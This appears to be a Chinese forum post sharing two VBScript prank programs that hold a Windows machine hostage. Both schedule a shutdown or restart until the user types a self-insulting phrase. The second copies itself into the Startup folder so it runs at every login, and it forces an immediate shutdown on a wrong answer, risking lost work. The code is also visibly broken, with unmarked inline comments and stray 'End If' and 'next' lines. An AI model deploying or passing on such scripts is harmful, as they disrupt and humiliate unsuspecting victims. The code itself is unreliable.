dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说“我是XX”,不说“我是XX”就一分钟关你的机,不信,试试……"" ",0,true
dim a
do while(a <> "我是XX,大哥我真的是XX啊!")
a = inputbox ("说我是XX,就不关机,快说,说 ""我是XX,大哥我真的是XX啊!"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox "你终于承认了啊!感叹中……",vbinformation,"真听话啊!"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0,true
msgbox "哈哈,我也看你像XX~!",vbinformation,"同感啊~~!!"
End If
next
难得能用一次电脑。。。。在笔记本上写好后在电脑上打出来了。。。
Dim a(4),b,c,fso,file,startup
Set fso = createobject("scripting.filesystemobject")
Set file = fso.getfile(wscript.scriptfullname)
set wshshell = createobject ("wscript.shell")
startup = wshshell.specialfolders("startup")&"\"
file.copy startup 这里是把这个vbs自身复制到启动项的
wshshell.run "cmd.exe /c shutdown -s -f -t 60 -c 不说就关机!!!"
randomize
a(0) = "猪"
a(1) = "笨蛋"
a(2) = "傻叉"
a(3) = "坏人"
b = Round(rnd*3 + 0) 生成一个0到3的随机数作为b的值
c = inputbox("快说“我是"&a(b)&"”,不然就马上关机哦!","快说","",0,0)
If b <> "" then 这句不能少,用来固定b的值,少了之后在下面会出现不同的值
If c = "我是"&a(b) Then
wshshell.run "cmd.exe /c shutdown -a"
msgbox "你这"&a(b)
Else
wshshell.run "cmd.exe /c shutdown -a"
wscript.sleep 1000
wshshell.run "cmd.exe /c shutdown -s -f -t 0"
End If
Else
End if
其他的不难懂。。。